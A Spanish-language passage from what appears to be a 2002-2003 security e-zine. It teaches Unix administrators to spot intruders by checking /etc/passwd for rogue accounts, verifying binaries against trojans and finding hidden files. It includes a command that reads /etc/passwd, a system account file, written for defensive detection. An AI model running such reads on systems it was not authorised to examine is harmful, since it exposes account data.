  	Una  linea del  contenido  normal de un archivo passwd usando shadow
        para ocultar las claves encriptadas es la siguiente :
		#cat /etc/passwd | grep root
	 	root:x:0:0:Administrador del sistema:/root:/bin/bash
		---- - - - ------------------------- ----- ---------
		a    b c d               e             f       g

	a -> usuario, en este caso el root.
	b -> clave, al  usar  el  sistema shadow la  clave  encriptada no es
             mostrada en lugar de ella siempre va a estar la x.
	c -> es  el  UID  o  identificacion de usuario, el cual es unico. El 
             root siempre tendra el UID 0.
	d -> el GID o  identificador de grupo, en  este  caso el 0 indica el
             grupo root.
	e -> es el nombre real del usuario.
	f -> es su home directory.
	g -> es el tipo de shell que tiene asignado el usuario.

	Esta es una linea del passwd que corresponde al administrador, donde
        los campos mas importantes son la clave, UID, GID y la shell.
	Si  encuentra  un  usuario donde el campo que corresponda a la clave
        este en blanco podria tratarse de un usuario creado con la finalidad
        de  acceder  al  sistema sin permiso. Si el campo de UID o GID de un
        usuario  que  no es  el root  esta  con 0, de la misma manera podria
        tratarse  de  un  usuario  no  autorizado en el sistema con nivel de
        administrador. Con  respecto  a la shell,  generalmente los usuarios
        normales  apuntan a  una shell  falsa ya  que no es necesario de que
        estos  tengan  asociado  un tipo de shell, si algun usuario posee un
        tipo de shell valido, podria tratarse de igual manera de un intruso.
	
- Revisar los archivos binarios, ya que estos son el  objetivo para asegurar
el ingreso de  manera oculta  a un  sistema, revisar  la  integridad  de los
binarios  en  un sistema es  una tarea muy importante, programas del sistema
como login, su, ls, find, ifconfig, telnet, los  archivos binarios indicados
en /etc/inetd.conf o en el /etc/xinet.d/.
  No  se puede  confiar en una simple comparasion con un backup, ya que este
puede  estar igual  de  troyanizado, y los  checksum o  timestamp pueden ser
mostrados por el troyano como si se tratasen de los verdaderos binarios.
  Se  necesita  usar  herramientas  checksum  criptograficas como cmp, MD5 o 
Tripware.

- Busqueda de archivos  ocultos, otra  tecnica usada en el Hacking es el uso
de  archivos  ocultos para  guardar  herramientas  o informacion para evitar
ser  vistos con un simple ls, ademas son colocados en lugares inusuales para
hacer mas dificil su localizacion.
  Por ejemplo podriamos encontrar archivos de la siguiente manera:
	..mail
	..^G
  Al usar el . se estaria indicando que dicho archivo es oculto. La busqueda
de este tipo de archivos es de la siguiente manera:
	#find / -name ".*" -print -xdev | cat -v
   

 Para  finalizar, solo  quiero recordarles que la  seguridad  es un tema que
debe ser tomada con  mucha seriedad, debemos crear conciencia del papel  que
cada uno de nosotros tenemos en mantener nuestras  redes  seguras, desde los
usuarios  finales hasta los encargados de la administracion de la red. Hasta
SWP 4.
 Cualquier comentario/sugerencia puede enviar un correo a:
		sicario@softhome.net
		www.sicario.tk
                www.swp-zone.org

     "Quieres entrar en mi mundo, es un estado de bendicion Sociopsicotica.
      Te has  retrasado en el  mundo  real, cuantas veces  has  apuntado y
      errado?. Tu  ecografia  del  cerebro  muestra  desfiguracion,  quiero
      morirme de la risa, con  una sinopsis  errada, con  una configuracion
      chueca.  Sujeto  la  cuerda, mientras  tratas  de  respirar.  Quieres
      hablarme, bueno hablame, puedes hablarme. No entiendes tu sexo, no te
      han  culeado el  cerebro, hagamoslo. Oh,  mi  sonrisa  distorsionada,
      adivina lo que estoy pensando."
                                                                   My World
                                                                   GNR



   ______   ______   ______   ______   ______   ______   ______   ______
  |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____|      
__| |______| |______| |______| |______| |______| |______| |______| |______
--------------------------------------------------------------------------

                      --                             --
			 Security Wari Projects / SWP  |
		      (c) Todos los Derechos Reservados
		     |     PERU / 2002 - 2003           
                      --                              --
